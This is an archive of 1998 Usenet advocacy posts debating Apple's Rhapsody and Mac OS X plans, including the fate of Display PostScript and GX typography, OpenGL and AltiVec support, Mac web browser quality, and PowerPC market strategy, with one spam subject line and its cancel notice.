That so factual... NYTimes, Forbes, BusinessWeek, et. al. couldn't make nearly
as juicy stories with that for source.
> I still think the stock market doesn't give a damn about window system
> architectures.
>
>
You're right, the stock market doesn't give a damn. They just send writers to
"window system architecture" events. They hear yet another new cashflow
strategy that'll take 18mos to pipeline, the old $400million strategy is
"dead", a pretty sexy, catchy sounding iMac without sexy, catchy "fast"
connectivity and No Wintel strategy anymore, No cross-platform plans. They're
just reporters, they report. So back it goes to the Editor's Desk. VoilÚ,
the market doesn't have to give a damn. It has reporters... for what its
worth. That's the stock market.
> If that was significant, then why is Microsoft trading
> at such a rediculous P/E ratio?
>
>
Apple's an easier target. And Microsoft is America's new IBM... No one can
replace them. 90% of Americans use MS products and virtually all business
depends on MS technology. Any US citizen with a retirement account for
investing has been told to "buy" MSFT. Bill Gates is the posterboy for
American opportunity and free market capitalism Worldwide. From the halls of
Congress as lowly Page to the most wealthy man in the World, a true American
hero. A guy who took an inferior product to Apple's Macintosh and made it
compete against the Mac - and its now better than the Macintosh. So much
better that Apple depends upon Microsoft (ie. Word ). Everyone is invested in
Microsoft from Gov't, Industry, Competitors, down to dependent pensioners.
Ridiculous as it is, them's the facts :-)
Did that help?
-r
From: billm@cygnus.com (Bill Moyer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: 23 May 1998 02:47:09 -0700
Organization: Subtle, but there.
Message-ID: <6k65ut$i9$1@andros.cygnus.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <rmcassid-2205981007210001@dante.eng.uci.edu> <se <rmcassid-2305980010180001@dialin9223.slip.uci.edu>
In article <rmcassid-2305980010180001@dialin9223.slip.uci.edu> rmcassid@uci.edu (Robert Cassidy) writes:
>Based on how many times I've now heard suggestions of
>OpenGL support by Apple (including a few straight out statements that
>OpenGL would be in QTML), I'm starting to believe it, and it makes sense
>given the current trends at Apple. They seem to be chasing a 'let's use
>the best' strategy whenever they can. OpenGL seems like a slam-dunk. An
>agreement with OpenGL involving QT also makes sense since Apple and SGI
>had agreements in the past for certain QT support by SGI.
Just call it "GL"; it's no longer "Open" by a long stretch of the
imagination.
-- Bill Moyer
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
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<6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net>
<4hn91.2272$Kx3.2444773@news.rdc1.sdca.home.com> <3566403D.95F1C382@nstar.net>
<OWv91.2314$Kx3.2672207@news.rdc1.sdca.home.com>
Message-ID: <bJx91.2322$Kx3.2702512@news.rdc1.sdca.home.com>
Date: Sat, 23 May 1998 10:41:11 GMT
NNTP-Posting-Date: Sat, 23 May 1998 03:41:11 PDT
Organization: @Home Network
In <OWv91.2314$Kx3.2672207@news.rdc1.sdca.home.com> Rex Riley wrote:
> If we see clusterfucks from Apple, just attribute them to driving the stock
> price down. BusinessWeek's "Back to the Future" spin was a good starter.
>
>
I owe an apology to management, employees and the people who have worked so
hard to get Apple back to where it is today, profitable. I regret my choice
of words and choice of cynicism to support a For Sale hypothesis. I was
wrong, inexcusable and plain stupid to suggest such a behavior in first place.
Apple's stock price is not a function of deliberate intent on the part of
Apple, its employees or its agents. I did not realize the effect of my
remarks until I posted them to the net. I have NO evidence or knowledge to
support such a preposterous supposition.
-r
From: dgason@mindspring.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: Sat, 23 May 1998 12:27:46 GMT
Organization: MindSpring Enterprises
Message-ID: <3566bf1b.585911@nntp.atl.mindspring.com>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us>
On 22 May 1998 14:19:44 -0400, nurban@crib.bevc.blacksburg.va.us
(Nathan Urban) wrote:
>In article <356573e8.5831486@nntp.atl.mindspring.com>, dgason@mindspring.com wrote:
>
>> I've seen what Apple is doing to nextstep to create Rhapsody,
>> have heard what it is doing to create OS X and really aren't excited
>> about either.
>
>There are still many aspects of both that are superior to NEXTSTEP.
>Just not the UI (IMHO).
>
Not having been able to play with a DR of Rhapsody, I haven't
seen everything about the UI. The parts that I did see on stepwise
looked like someone tried to graft the worst features of MacOS on
nextstep and get rid of some of the really cool nextstep features like
the dock.
>
>The themes support in MacOS X might be sufficient to give a NEXTSTEP
>look, and it's something you could count on being there.
>
Themes might be doable....will themes be available on
Rhapsody? Where could I find out more about this feature?
>
>> If not, will Apple continue to sell copies of nextstep or is
>> nextstep doomed?
>
>I figure they'll stop selling it at some point.
I didn't realize that copies of nextstep were still for
sale...any idea what the latest version is and whom to contact about
getting a copy?
Thanks for the info,
Dave
dgason@mindspring.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 23 May 1998 12:03:37 GMT
Organization: P & L Systems
Message-ID: <6k6dup$sr4$8@ironhorse.plsys.co.uk>
References: <3561d7b1.0@news.depaul.edu> <B1874AED-8E4C@206.165.43.108>
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Cc: english@primenet.com
In <B1874AED-8E4C@206.165.43.108> "Lawson English" wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
> >Assuming, of course, that there's no API provided for accessing
> >the contents of the PDF file. I see no reason to assume that
> >one won't be available.
>
> Are you saying that parsing the PDF text file (is there a binary format for
> PDF?) is going to be as fast as accessing a binary format optimized for
> speed?
>
> Gimme a break.
>
Umm, Lawson, why not go away and read the specs before making more stupid
pronouncements?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 23 May 1998 12:05:06 GMT
Organization: P & L Systems
Message-ID: <6k6e1i$sr4$9@ironhorse.plsys.co.uk>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112>
<3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3>
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In <rex-1905981816130001@192.168.0.3> Eric King wrote:
> You guys also saw no reason to assume that DPS or an equivalent would
> not be available.
>
And so far we seem to be right.
> I wouldn't bet on an elaborate set of PDF tools
> appearing. I'm sure Apple will write some, but who can even guarantee that
> they'll stick with this plan for the next 12 months or so?
>
Noone. But you can't guarantee they'll change either.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 23 May 1998 12:07:57 GMT
Organization: P & L Systems
Message-ID: <6k6e6t$sr4$10@ironhorse.plsys.co.uk>
References: <6joc4v$qhu$1@crib.bevc.blacksburg.va.us> <B18548DD-3302F@206.165.43.155>
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Cc: english@primenet.com
In <B18548DD-3302F@206.165.43.155> "Lawson English" wrote:
> GX-style pictures and PDF should be able to duplicate each other, BUT the
> GX-like picture-shape is more versatile in that you (Apple) can extend what
> it can display. E.G., non-opaque, overlapping graphics/text. The PDF format
> isn't really extensible beyond the PS primitives, AFAIK.
>
Unsurprisingly, you're wrong.
I wonder if the following will cheer you up...
mmalc.
Date: Fri, 22 May 1998 21:54:16 -0700 (PDT)
From: Nat McCully <nat@apple.com>
To: Multiple recipients of list <rhapsody-dev@omnigroup.com>
Subject: Re: Right-to-left localization
Actually, although it was repeatedly stated in the session that ATSUI
will be in Yellow box, that statement is not correct.
DPS will go away, and what will be in its place is called ATS (Apple Text
Services), which is a low-level line layout and font rendering engine
based on code from QDGX. ATSUI is the MacOS API set that calls into ATS
to render unicode in MacOS. Yellow already supports Unicode so there is
no need to port ATSUI to it. There will have to be made an Obj-C API set
for ATS, and apparently that is what they meant in the session. So, in
the end, you do get high-end typography and line layout support in both
Yellow and Carbon, using ATS.
--Nat
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 23 May 1998 13:17:10 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3566CC56.F7135A68@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <slrn6mcq8v.7f0.jason@jhste1.dyn.ml.org>
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Jason S. wrote:
> You do know that vi is not the only editor available for UNIX, of
> course. Why not give them NEdit? - it's really nice, and would work
> well for people who can't handle vi (and NEdit's much less confusing
> than emacs).
I've used NEdit, and Thot, and XCoral, and...Microsoft Word. I'm sorry,
there's no comparison.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: Sat, 23 May 1998 13:27:09 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3566CEAC.EC53C221@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu>
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NNTP-Posting-Date: 23 May 1998 13:31:48 GMT
Robert Cassidy wrote:
[cut]
> From what I've been led to understand, AltiVec should deliver competitve
> 3D. Apple helped develop this thing (initiated, from what I've been told)
> and would appear to be seriously interested in it. I get the sense that it
> is being chosen in lieu of specialized hardware in many places due to cost
> (obvious) and an easy ability to support. Basically Apple can get
> Quicktime to support Altivec with less effort than a full port to
> Trimedia, for example.
Well, this makes me sorta nervous. If it's a TriMedia comparison, it's
not about easy of development, it's actually because TriMedia has gotten
out of the 3D market altogether after the abject failure of the
Pyramid3D project. The developer of that solution, (I believe it's
BitBoys Oy) has gone independent and TriMedia is doing other things.
> And given that Apple helped design Altivec, I would
> also assume they made sure it would do the kinds of things they need. What
> I assume we would see is full Quicktime support including MPEG-2 encoding
> and decoding. I also assume that Apple will push whatever 3D API it wishes
> to support on it. Based on how many times I've now heard suggestions of
> OpenGL support by Apple (including a few straight out statements that
> OpenGL would be in QTML),
OpenGL in QTML makes me nervous and unhappy. Does it require more memory
than just-plain-OpenGL? Will straight OpenGL code compile, or will you
have to make QTML gestalt and enable and initialize and
god-know-what-else calls?
From a certain perspective, this isn't terrible: you have WGL and GLX on
other platforms. But what is Apple doing about AGL, then? Is it
replacing it or just adding another layer? How can it reasonably
implement these decisions without active membership in the ARB?
> I'm starting to believe it, and it makes sense
> given the current trends at Apple. They seem to be chasing a 'let's use
> the best' strategy whenever they can. OpenGL seems like a slam-dunk. An
> agreement with OpenGL involving QT also makes sense since Apple and SGI
> had agreements in the past for certain QT support by SGI.
Let me do this: OpenGL doesn't need Qt. Unless Apple intends to make
OpenGL a "feature" of QTML, the only reason for OpenGL to be "within
QTML" is integration with the windowing system, possibly integration
with other multimedia. This points to a growing new role for QTML, one
that's even more like DirectX than it has been. That's scary, because it
threatens the cross-platform aspects of QTML.
What happens if I write a QTML program using OpenGL and try to port it
elsewhere? I see problems.
[cut]
So many questions, so few answers.
MJP
Date: Sat, 23 May 1998 23:08:16 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Distribution: world
Subject: Re: The New Rhapsody (aka Mac OS X)
References: <6jnaav$1cc$72@ironhorse.plsys.co.uk>
<see-below-2105981656410001@209.24.241.47>
<3564c8e8.0@news.camtech.net.au> <3564ca3f.0@news.camtech.net.au>
<6k4727$sbm@nrtphc11.bnr.ca>
Organization: Cybermarket Australia
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In article <6k4727$sbm@nrtphc11.bnr.ca> , Matthew Cromer
<matthew_cromer@iname.com> wrote:
>In article <3564ca3f.0@news.camtech.net.au> , timothyp@tne.net.au writes:
>>Go Omni! I hope Apple continues to work with MS and Netscape on the Mac side to
>>get a decent offering from them in terms of speed. I hear people saying 4.01 is
>>substantially faster. My question is "Than what???" 4.0 is about all. 3.01 is
>>still faster and way more responsive than 4.01.Matthew Cromer
>matthew_cromer@iname.com
>
>
>I have a G3-233 cum 266 and I find explorer to be pretty fast.
Fast compared to what? Other Macs running Netscape? Thats about all. Browsers
on the Mac need work, and burying our collective heads in the sand over this
issue will not help matters. Luckily it appears Apple has the message. Apart
from that I can't wait till I can run Rhapsody and OmniWeb and tell MS and
Netscape to blow it out their A.. MS is only giving resources to the Mac IE to
help in its efforts to dominate the web and Netscape have shown a COMPLETE lack
of support in getting a decent browser (equal to the speed of the PC) on the
Mac. There ports to the Mac have been shoddy at best. A classic example of this
is to load a page with Netscape with the caching on and page checking set to
NEVER. Then navigate forward one link and press the back button. What does
Netscape do?? It does running off to check on the web, disregarding the
preferences set in the browser. Hopefullly the opening of Netscapes code base
will help efforts to bring a decent browser to the Mac. If not I have no
problem in paying a small lean and hungry company like Omni for a decent product
that wont help the bottom line of MS.
> However I
>have yet to find a version of explorer that can stay up through an entire
>web browsing session without unexpected quits.
The same can be said for Netscape. They are both crash-happy beasties.
>I have installed the latest version of Explorer and so far no problems
>but I do stock trading and don't have time to waste making sure explorer
>is going to stay up. At least I can trust navigator to keep my five
>screens up on the screen and I don't have to restart it and go to the
>problem of getting my screens back up.
You can? Geez, I wish I could be that sure. Netscape is the worst culprit for
problems on my Mac, closely followed by IE.
>Navigator 4.05 is a slow beast, but at least Netscape has finally figured
>out how to write a Mac Navigator that doesn't keep going down.
>
>If I find that 4.01 of IE doesn't quit, and doesn't lock my machine up, I
>will switch. The glacial performance of Navigator (Navigator running
>under Virtual PC reloads pages faster)
I am interested to hear this. I remeber asking about this over a year ago but
no one responded. I think it really shhows what a SHITE job of porting to the
Mac Netscape has done. It will be interesting if someone on the porting effort
can see where the problems are in the Mac versions caching algorithms etc and
fix them.
>is a huge embarassment. And
>caching to a ram disk doesn't help--it seems to use dual caches even when
>you tell it to cache to ram, it also is caching to HD.
Oh yeah. It is full of crap like that. A beauty is how you can get pages to
load faster by setting the cache size to zero. Perhaps then it is forced to use
the Ram cache. Who knows?!!?
>Yecch. Bring on MacOS X yesterday already.
>
>Matthew Cromer
Bring on Rhapsody already. I can wait for X.
Tim Priest
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Sat, 23 May 1998 09:59:55 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2305980959550001@pelli.pathology.pitt.edu>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net> <see-below-2105981906100001@209.24.241.47> <joe.ragosta-2205980832320001@wil116.dol.net> <356590BE.50EE2110@nstar.net>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <356590BE.50EE2110@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>
> That's not true in the least, and you know it as well as I do. Even if
> your theory about the separation of divisions at Motorola were true
> (what you describe sounds like the sound-bite version of reality), in
> the hardware division the processor division had (once upon a time) a
> steady internal customer. That's one hell of a big deal to a division, I
> assure you. It's also one hell of a big factor when the big man makes
> big strategic decisions, like "PPC is focusing on embedded
> applications". That almost certainly would not have happened if Motorola
> itself had been allowed the use of PPC in its own desktop products.
Nothing says they can't use the processors themseleves. They could build
CHRP boxes run Linux on it but they can not run the MacOS on it. As for
the issue of Motorola focussing on "embeddded PPC", that is a "big
strategic decision". But the reason for it probably relates to volume
sales. Currently the AAPL branded PPC boxes do not sell enough volume to
keep all IBM and Moto production lines humming. So Moto decided to commit
a significant amt of their efforts to a new mrkt where they would not be
competeing with IBM. This allows Moto to fund research into processor
features that will enhance embedded products, and if those features
enhance the Desktopversion(ie AltiVec) so much the better. IBM is gearing
its research efforts toward increasing the speed and efficiency of the
Desktop chip because they do use it in some of their products and run AIX
on it. But you know all this. If in the future, if the AAPL branded
boxes start selling in larger volumes, MOTO can easily(matter of months)
convert some of the production capacity to making Desktop chips.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Java is VHS, YellowBox is Betamax
Date: 23 May 1998 13:59:01 GMT
Organization: Idiom Communications
Message-ID: <6k6kn5$avg$1@news.idiom.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us>
<nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu>
<6k4e9i$420$1@nnrp1.dejanews.com> <6k4l4g$jkd$4@news.idiom.com>
<6k4sfg$c7i3@hector.sabre.com>
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Cc: cbbrowne@news.amrcorp.com
Christopher Browne may or may not have said:
[snip]
-> >Says you. From where I stand, I see Obj-C in the current GCC, which
means
-> >that it's available everywhere.
->
-> And you can recompile Common LISP into C using various LISP tools, which
-> means that it's "available everywhere." That doesn't mean that
-> programmers en masse necessarily care.
I don't write code by committee, and it doesn't really matter to me whether
every other programmer in the world opts to suffer along with MicroSquish
Visual Crap++.
-jcr
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Sat, 23 May 1998 10:08:21 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2305981008210001@pelli.pathology.pitt.edu>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net> <see-below-2105981906100001@209.24.241.47> <356564CF.B5BC821A@milestonerdl.com> <356668D2.BFB206DD@alumni.caltech.edu>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <356668D2.BFB206DD@alumni.caltech.edu>, William Edward Woody
<woody@alumni.caltech.edu> wrote:
>
> Desktop processors try to achieve the highest performance possible.
> Often desktop systems ship in large volume; this means that the external
> bus interface on the processor chip tend to have wide data busses,
> and the address lines tend to deliver signals to support external
> L2 caches and more exotic memory accessing schemes. Because desktop
> units ship in large volumes (anything more than 10,000 units is
> large, by the way--4% of the PC market is staggeringly huge), cost
> per unit can be reduced through designing specialized chips to
> help reduce chip count.
>
> Embedded processors, on the other hand, don't have the luxury of
> shipping in large volumes or being able to use more exotic addressing
> modes which require wide data busses or large chip counts. Often
> embedded processors are used in conjunction with one ROM and one
> RAM chip in order to reduce the overall chip count to 3.
Ummm. I think that embedded processors can be volume sellers w/o a
problem. For example, cars use embedded processors, and alot of new cars
sell each year. As time go by, I'm quite certain that the embedded market
will grow MUCH faster than the Desktop market. BTW, Intel is so large
because of their embedded market
>
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: FreindsCast@ThisSite.net
Newsgroups: comp.sys.next.advocacy
Subject: -L@@K AT TERRY HATCHER NUDE 98401
Date: Saturday, 23 May 1998 11:09:51 -0600
Organization: <no organization>
Distribution: World
Message-ID: <23059811.0951@ThisSite.net>
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From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <23059811.0951@ThisSite.net>
Control: cancel <23059811.0951@ThisSite.net>
Date: 23 May 1998 14:12:34 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.23059811.0951@ThisSite.net>
Sender: FreindsCast@ThisSite.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Sat, 23 May 1998 11:01:12 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2305981101130001@192.168.0.3>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112> <3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3> <6k6e1i$sr4$9@ironhorse.plsys.co.uk>
In article <6k6e1i$sr4$9@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
:In <rex-1905981816130001@192.168.0.3> Eric King wrote:
:
:> You guys also saw no reason to assume that DPS or an equivalent would
:> not be available.
:>
:And so far we seem to be right.
Er, no. You're not getting a Postscript interpreter, you're just
getting a low-level functional API with some PDF export options. No
PSWraps and possibly no NSHosting-like services.
-Eric
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Sat, 23 May 1998 08:02:36 -0700
Organization: Trilithon Research and Trading
Message-ID: <3566E50C.257D56A2@trilithon.com>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112> <3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3> <6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Eric King wrote:
* Er, no. You're not getting a Postscript interpreter,
* you're just getting a low-level functional API with
* some PDF export options. No PSWraps and possibly no
* NSHosting-like services.
Wraps and NSHosting aren't related very much. In the case
of wraps, the amount of work needed to convert the average
application to the new API is minimal to zero, as I've pointed
out many times in the "OpenStep programmers have to be DPS
experts" debates, where none of the anti-DPS faction have
bothered to collect even one datapoint to support their stance.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Sat, 23 May 1998 11:12:51 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-2305981112520001@port11.dialb2.gain-ny.com>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <6jsm6t$bjf$1@geraldo.cc.utexas.edu>
Mail-Copies-To: always
In article <6jsm6t$bjf$1@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> : Yellow apps will still have WYSIWYG and a unified imaging model. This
> : of course won't hold true for MacOS or Carbon apps, but it wouldn't
> : have in Rhapsody either.
>
> What mentioned was "unified fonts". I install the fonts in one place,
> and all applications and printers can use them. Without identical
> fonts, there is no WYSIWYG. With DPS leaving, how is this possible?
In the "Graphics and Imaging for MacOS X" talk, they said they would be
unified fonts.
> With DPS leaving, how is this possible?
ATSUI. That graphics layer that appears beneath the yellow, carbon, blue,
and bsd boxes in the architecture charts.
There's also a whole presentation on text and fonts under ATSUI at the
WWDC Theatre.
> If this work from a text command line, then great! Otherwise, it's
> useless.
Why wouldn't it?
> : but they have ruled out hard links."
>
> A big loss to UNIXy types like me.
Unless such types choose to run the UNIX File System, which still supports
them, and is an option under MacOS X.
> Without seemless EPS inclusion, ...
> My Approximate top 3 important features (decreasing in importance) are:
> 1. Seemless, visible .eps insertion.
1(a). The word is "seamless." A "seam" is the line-region where two
pieces of material are attached (eg, sewn together to make clothing).
"Seem" is a verb (to appear to be something or someone).
1(b). There is nothing in OS-X preventing someone from implementing a PS
interpreter for EPS import. Apple said that they couldn't include
GhostScript in the OS for licensing reasons, but that it could easily be
adapted for this purpose.
1(c). DPS isn't supported any more by Adobe, and Rhapsody will be the last
shipping OS that supports it, so it might be prudent to start thinking of
alternatives (like PDF).
> 2. Symbolic links accessible through a command line interface.
Like with BSD and the Unix file system? It's there.
> 3. Compatible file transfer to other OSes through the CLI (e.g.
> sending a .pdf file to a Windows box via CLI based FTP without
> having to deal with fork issues)
People have been transferring files to and from Macs for years without
"having to deal with fork issues." Either use a client that is fork-savvy
or use a file-system (like UFS) that doesn't have forks.
> 4. Remote display capability.
Nope, can't do that anymore.
> How much of this will be left in OSX? All of it is in NS3.2.
Great. Continue using NS3.2 if that works for you.
> I
> already have a better scripting architecture (Perl) than what
> AppleScripting seems like it will be. On what other OSes can I run
> AppleScript?
It's a meaningless comparison. Perl scripts and AppleScripts don't do the
same thing. Perl is a language mainly for the manipulation of text
strings. AppleScript is a scripting language mainly for controlling MacOS
apps (and now YellowBox apps), using the OSA architecture. There are few
cases where these two tools could be substituted for each other.
Rgds
--
mingo "at" panix "dot" com
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Sat, 23 May 1998 11:23:02 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-2305981123020001@port11.dialb2.gain-ny.com>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <see-below-2205980154480001@209.24.240.67> <6k4hu6$sol$1@geraldo.cc.utexas.edu>
Mail-Copies-To: always
In article <6k4hu6$sol$1@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> Also, perhaps the software you want runs under a different OS
> than your client machine? Then how will Sassafras help?
If the client and the server ends run on different OS's, then how could
NSXHosting help (since it never was a cross-platform standard)?
--
mingo "at" panix "dot" com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 23 May 1998 08:39:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18C3BBB-16B4C@206.165.43.104>
References: <6k6e6t$sr4$10@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Do you understand that this is NOT GX typography, but only a subset of the
layout shape's formatting algorithms? There is a 500 page manual describing
GX typography, which includes function calls to handle all sorts of things
that I've never seen mentioned in any description of YB text handling.
At the least, I'm reasonably confident that 3x3 transform matrices and
real-time text-input into text-strings transformed by 3x3 transform
matrices will not be supported.
Nor will any special modifications of the appearance of text that are based
on GX graphics.
mmalcolm crawford <malcolm@plsys.co.uk> said:
>From: Nat McCully >To: Multiple recipients of list <rhapsody-dev@omnigroup.com>
>Subject: Re: Right-to-left localization
>
>Actually, although it was repeatedly stated in the session that ATSUI
>will be in Yellow box, that statement is not correct.
>
>DPS will go away, and what will be in its place is called ATS (Apple Text
>Services), which is a low-level line layout and font rendering engine
>based on code from QDGX. ATSUI is the MacOS API set that calls into ATS
>to render unicode in MacOS. Yellow already supports Unicode so there is
>no need to port ATSUI to it. There will have to be made an Obj-C API set
>for ATS, and apparently that is what they meant in the session. So, in
>the end, you do get high-end typography and line layout support in both
>Yellow and Carbon, using ATS.
>
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 23 May 1998 08:44:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18C3CF3-1B48F@206.165.43.104>
References: <3566E50C.257D56A2@trilithon.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Henry McGilton <henry@trilithon.com> said:
> "OpenStep programmers have to be DPS
>experts" debates, where none of the anti-DPS faction have
>bothered to collect even one datapoint to support their stance.
Actually, it's been more like "if you don't have to be a DPS expert, why
can't YB use GX instead of DPS?"
In fact, we're getting neither. GX and DPS go away, with no support for GX
in Carbon, and an unknown (as yet) library to provide equivalent
functionality in YB (presumeably that can be called from Carbon-based apps
when it is ready for public use).
One of the biggest gripes that I have with THIS scenario is that any
graphics made using Apple's own GX AI will likely not be compatible with
what Apple comes up with next. This is a Bad Thing since it breaks
continuity between generations of MacOS. At the least, Apple needs to
provide a translator mechanism to take GX graphics and convert it into the
new graphics format.
Of course, to do THAT properly, Apple needs to provide the complete
services of GX as a subset of the YB services.
ANd without a 3x3 (at least) transform matrix, that is impossible.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
